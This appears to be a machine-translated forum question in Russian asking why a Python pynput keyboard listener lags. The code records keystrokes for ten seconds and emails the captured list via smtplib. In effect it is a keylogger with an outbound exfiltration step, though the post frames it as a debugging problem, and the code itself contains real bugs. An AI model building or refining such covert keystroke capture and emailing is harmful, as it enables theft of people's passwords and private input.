Я хочу, чтобы прослушиватель клавиатуры начинался с нажатия клавиши (любой клавиши), а затем добавлял все ключевые события в список.
В настоящее время слушатель настроен так:
listener = keyboard.Listener(
on_release=on_release)
listener.start()
с помощью этой функции on_release
:
def on_release(key):
global recording
if recording:
global keys_pressed
keys_pressed.append(str(key))
else:
recording = True
keys_pressed.append(str(key))
start_recording()
Моя идея заключается в том, что вызывается функция start_recording
, которая создает поток deamon, в котором слушатель записывает все ключевые событияи который убивается через установленное количество времени:
def start_recording():
t = Thread(target=add_keys_to_list())
t.daemon = True
t.start()
sleep(10)
global keys_pressed
print(" ".join(keys.pressed)
global recording
recording = False
функция add_keys_to_list()
просто:
def add_keys_to_list():
print("task")
listener = keyboard.Listener(
on_release=on_release)
listener.start()
Это работает, но только иногда, это также вызывает большое отставание,В моем коде программа распечатывает каждую букву перед добавлением ее в список, и кажется, что слушатель добавляет буквы после того, как основной поток снова проснулся.Я не знаю, вызывает ли это отставание все же.Если вы знаете какие-либо решения или заметили что-то не так с кодом, пожалуйста, дайте мне знать.
Здесь вы можете увидеть код одним куском:
def add_keys_to_list():
print("task")
listener = keyboard.Listener(
on_release=on_release)
listener.start()
def start_recording():
t = Thread(target=add_keys_to_list())
t.daemon = True
print("starting t")
t.start()
print("sleeping")
sleep(10)
print("waking up")
send_email()
global recording
recording = False
def on_release(key):
global recording
print(key)
if recording:
global keys_pressed
keys_pressed.append(str(key))
else:
recording = True
print("recording start")
keys_pressed.append(str(key))
start_recording()
listener = keyboard.Listener(
on_release=on_release)
listener.start()
recording = False
keys_pressed = []
while True:
sleep(0.02)
Функция send_email()
просто отправитьсписок как электронное письмо с использованием smtplib